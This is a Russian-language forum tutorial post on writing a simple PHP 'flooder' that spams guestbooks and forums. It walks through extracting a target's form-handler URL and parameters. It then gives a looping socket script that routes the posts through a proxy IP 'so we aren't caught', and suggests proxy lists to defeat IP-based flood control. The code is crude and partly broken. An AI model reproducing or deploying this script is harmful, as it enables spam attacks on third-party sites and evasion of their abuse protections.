Логин: Пароль: Забыли пароль? Регистрация
Рекламный блок

              

Страница 1 из 11
Форум » FOR WEB-MASTER`S » Учебник » Простейший флудер на PHP
Простейший флудер на PHP
cookДата: Пятница, 11.02.2011, 11:08 | Сообщение # 1

Уникальный Человек
Репутация: 1004
Сообщений: 1056
Награды: 3
Статус:
Эту статью я решил написать, так как на многих форумах встречал предложения о флуде в гостевых книгах и форумах за деньги. При этом, ничего сложного в написании собственного флудера нету, надо лишь хотя бы немного быть знакомым с php (я рассмотрю написание флудера именно на PHP) и работу с сокетами в этом языке. И так, обо всем по порядку…

Первое, что нам нужно для написания простейшего флудера гостевой книги – это расположение скрипта, который обрабатывает новые сообщения и записывает их и полный список параметров к этому скрипту. Самая простейшая схема, с помощью которой можно узнать все это такая: заходим на страницу гостевой книги, на которой находится форма для отправки нового сообщения и сохраняем её. Теперь открываем сохраненную страницу в Dreamweaver (или любом другом хтмл-редакторе, Блокноте, например=) и ищем тег <form …… >. Далее меняем метод, с помощью которого форма передает данные, на GET (если хозяин гостевой – нормальный человек, то изначально должен стоять method=post). Теперь прописываем нормальный путь в параметре action, так как иногда прописывают относительный адрес к скрипту-обработчику, и при наших дальнейших действиях это сыграет определенную роль. И так, нам нужен АБСОЛЮТНЫЙ путь в параметре action, т.е. http://target/guestbook/script.php. Теперь сохраняем документ, открываем его в броузере, заполняем все поля (имя отправителя, текст сообщения и т.д.) чем хотим и жмем отправить. Если все ок, то в адресной строке мы увидим все что нам надо: полный путь к скрипту и все нужные параметры (и даже их значения). Эта строка нам понадобиться для работы флудера. Теперь перейдем к написанию самого флудера.

<?

$path="http://target/script.php?parameters=something";

// эта переменная есть не что иное как полный адрес к скрипту-обработчику новых сообщений и список параметров, который мы получили из адресной строки броузера.

$head="POST $path \\r\\n\\r\\n";

// методом POST мы будем слать сообщения…

for ($i=0;$i<=10;$i++):

// тут начинается цикл, который собственно и кидает новые сообщения в гостевую. Понятно, что конечное значение переменной $i – это и есть количество сообщений, которое создаст наш флудер.

$fp = fsockopen("81.56.187.95", 80);

// открываем сокет. Причем, нужно заметить, что адрес 81.56.187.95 – это прокси-сервер (нам же не нужно, чтобы нас засекли=) и порт, по которому флудер будет с ним соединяться. Список проксей можно всегда взять на http://www.web-hack.ru/proxy .

fputs($fp,$head);

// этой функцией мы отсылаем новые сообщения в гостевую…

fclose($fp);

// закрываем сокет.

endfor;

echo "DONE";

?>

Вот и весь текст простейшего флудера. Кстати, при посылке большого числа сообщений нужно найти в файле php.ini строку max_execution_time и прописать туда число побольше, чтобы интерпретатор пхп не отрубил выполнение флудера раньше времени. Так же нужно помнить, что любой флудер будет работать только в том случае, если на сервере включен флаг register_globals=on. Дальше можно преобразовывать нашу прогу как угодно. Можно запускать её вместе со списком проксей (в случае, если в гостевой/форуме стоит флуд-контроль по IP-адресу). Короче, доделывать можно еще много. Если поднапрячься, то можно и для хорошего форума типа IPB написать флудер!=)))

 
Форум » FOR WEB-MASTER`S » Учебник » Простейший флудер на PHP
Страница 1 из 11
Поиск:


Статистика форума Zorend.ru
Последние темы Популярные темы Лучшие пользователи Новые пользователи Звезды ZOREND`a
Глобальное обновление
Пара Анекдотов
Правила раздела
Считаем до 1000
Какая видео карта сейчас нормальная?
WebThumb 2.0 - Обмен посетителями на ваш сайт
халявные Icq налетай!
Аву плиз
 Считаем до 1000
 Конкурс "Уникальный человек"
 Участники конкурса "Уникальный человек"
 Играем в города :)
 Ваш аппарат
 Жалобы на участников конкурса "Уникальный человек"
 Зимняя шапка.
 Смайлики
Timoha - (Сообщений: 1091)
cook - (Сообщений: 1056)
pikus - (Сообщений: 1012)
Adrianoosem - (Сообщений: 419)
n1ceman - (Сообщений: 319)
b0ot - (Сообщений: 313)
sg-ua - (Сообщений: 250)
Аватар - (Сообщений: 250)
Alisasslom - (Зарегистрирован: 20.07.2015)
donkj4 - (Зарегистрирован: 20.07.2015)
meroslEr - (Зарегистрирован: 20.07.2015)
MelvinRat - (Зарегистрирован: 20.07.2015)
randiew16 - (Зарегистрирован: 20.07.2015)
ArthurGers - (Зарегистрирован: 20.07.2015)
CharlesCida - (Зарегистрирован: 20.07.2015)
guydd11 - (Зарегистрирован: 20.07.2015)
friendgog - (Репутация: 1187)
cook - (Репутация: 1004)
b0ot - (Репутация: 500)
pikus - (Репутация: 201)
Вадим - (Репутация: 102)
Timoha - (Репутация: 7)
-Wicked - (Репутация: 5)
plan - (Репутация: 5)